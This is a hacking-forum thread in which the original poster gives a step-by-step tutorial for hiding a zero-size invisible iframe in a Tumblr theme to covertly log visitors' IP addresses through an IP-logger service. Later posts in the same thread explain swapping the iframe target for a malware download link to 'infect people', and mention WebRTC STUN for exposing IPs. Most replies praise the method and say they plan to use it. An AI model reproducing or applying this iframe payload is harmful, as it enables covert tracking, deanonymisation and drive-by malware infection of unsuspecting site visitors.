Thread: [\[Tutorial\]Use tumblr to spread your server or get someones IP!](#)

Mr. Robot - April 16, 2015, 3:49 pm

Hi there this is my first tutorial and I didn't see any others around, possibly similar ideals or not. If there is something just PM or comment below and let me know.

You can also take the source code of another tumblr or any webpage and paste it in to make it look more legit just make sure you put the iframe to the iplogger

Step 1.

Create a tumblr account and and create a new page so you can get your ^^.tumblr.com url

Step 2.

Go to whatstheirip.com and enter your email address and copy either the hondachat url or the bvog links

Step 3.

Back on tumblr you want to edit the html of the page by clicking edit appearance and then edit theme.

Step 4. Scroll to the bottom of edit html and paste the following - replacing \$\$\$\$\$\$ with your link from whatstheirip.com

```
<iframe width="0" scrolling="no" height="0" frameborder="0" src="$$$$$$" seamless="seamless">
```

You can put it anywhere on the page

Spoiler ([Click to View](#))

So what we are doing is we are creating an invisible iframe in the tumblr page (like a tiny internet browser window) that loads your link invisibly.

I have been doing this for a while and my account is as good as ever!

You can also put a direct link to your server as the iframe link and it will download as they access your page -

Also just a quick note, quite often the emails from whatstheirip.com containing the IP will be in your spam folder of your email provider.

Raz3r - April 16, 2015, 4:28 pm

Very nice tut, op.

This will come in handy.

A bathing ape - April 16, 2015, 4:31 pm

This is nice I might use this one day!

Mr. Robot - July 1, 2015, 8:23 pm

You can also change this method around to use it for server spreading - change the iframe url to your direct download link and voila - you can infect people with tumblr

Bruar - July 6, 2015, 5:41 am

Good share this will come in handy will have to give it a try.

Mr. Robot - October 4, 2015, 5:31 pm

Don't know if people still want this or not

skelly76 - October 4, 2015, 5:36 pm

Tbh I don't think anyone will do this, but it's interesting.

Also put [Tut] or [Tutorial] in the title.

Mr. Robot - October 4, 2015, 5:48 pm

Done and done - cheers mate

Rotar - October 5, 2015, 1:44 am

Hm will give this a try in the near future, interesting

zeroxi - October 5, 2015, 1:45 am

very nice tutorial man! hoping to see more HQ tut's from ya

Mr. Robot - October 5, 2015, 2:05 am

Cheers man - been using it for some time and people are none the wiser :)

Mr. Robot - December 8, 2015, 1:08 am

This was my first tutorial and it died with 500 views ;/ Anyone still wanting this?

TheGodOfGodz - December 8, 2015, 1:39 pm

Nice tutorial dude! Keep going!

Armada - December 8, 2015, 3:50 pm

Very handy little thing here bro.

Thanks for the share. ?

Mr. Robot - December 8, 2015, 3:54 pm

No probs man, you can use webrtc with it to stun IP's too :)

inkbird - December 9, 2015, 6:12 pm

Nice man. Thanks for sharing. Can you tell me more about webrtc and stunning Ips? pm me if you have time

Mr. Robot - December 9, 2015, 6:31 pm

All good man :)

Missedcalls - February 23, 2016, 1:01 pm

Thank you for this man, I'll make sure to try it today!

GlycoL - February 23, 2016, 1:10 pm

Nice little tut, i'd never though of doing it that way. you learn something new everyday, thanks!

Mr. Robot - February 23, 2016, 7:23 pm

You are very welcome man.

KeTz - February 24, 2016, 6:36 am

Legit thanks for the info OP, i thought tumblr was prebuilt ones you choose from.

Guess im glad i don't use it ay :)

Mr. Robot - October 31, 2016, 6:21 am

God this is old, does anyone still need this?

Thelegend28 - July 12, 2018, 3:41 pm

Did they patch this. I can't get it to work and it looks the EXACT same as in the picture provided. I know this is old but seemed like a simple but effective up logger
